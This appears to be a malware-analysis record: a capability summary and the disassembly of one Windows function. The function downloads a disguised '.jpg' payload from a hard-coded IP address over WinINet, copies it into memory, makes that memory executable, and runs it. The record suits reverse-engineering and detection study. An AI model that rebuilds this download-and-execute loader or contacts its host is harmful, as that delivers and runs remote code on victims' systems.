Function at 0x140001e14
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
mov rax, rsp
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x140033088]
xor rax, rsp
mov qword [rbp - 8], rax
mov qword [rbp - 0x10], 7
xor ebx, ebx
mov qword [rbp - 0x18], rbx
mov word [rbp - 0x28], bx
lea r8d, [rbx + 0x2f]
lea rdx, str.http:__206.238.198.27_chfs_shared_gx_bin_64.jpg
lea rcx, [rbp - 0x28]
call fcn.1400025b0
nop
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Download
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
test rax, rax
jne 0x140001ea6
lea rdx, str.Failed_to_initialize_WinINet.
call fcn.14000369c
mov rcx, rax
call fcn.1400038c0
jmp 0x140002006
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rdx, qword [rbp - 0x28]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x84000100
xor r9d, r9d
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rsi, rax
test rax, rax
jne 0x140001ef9
lea rdx, str.Failed_to_open_URL._Retrying_in_6_seconds...
call fcn.14000369c
mov rcx, rax
call fcn.1400038c0
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001ea6
mov dword [rbp - 0x40], ebx
mov edi, 4
mov dword [rbp - 0x3c], edi
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x3c]
lea r8, [rbp - 0x40]
mov edx, 0x20000005
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x140001f2c
lea rdx, str.Failed_to_get_file_size.
jmp 0x140001f4f
mov edx, dword [rbp - 0x40]
mov r9d, edi
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140001f5e
lea rdx, str.Failed_to_allocate_memory.
call fcn.14000369c
mov rcx, rax
call fcn.1400038c0
jmp 0x140001f9e
mov dword [rbp - 0x38], ebx
lea r9, [rbp - 0x38]
mov r8d, dword [rbp - 0x40]
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001fb2
lea rdx, str.Failed_to_read_file.
call fcn.14000369c
mov rcx, rax
call fcn.1400038c0
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140002006
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rbp - 0x34], ebx
mov edx, dword [rbp - 0x40]
lea r9, [rbp - 0x34]
mov r8d, 0x20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000200d
lea rdx, str.Failed_to_set_memory_page_protection.
call fcn.14000369c
mov rcx, rax
call fcn.1400038c0
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, 1
jmp 0x140002021
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x28]
call fcn.140002530
mov eax, ebx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140006430
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret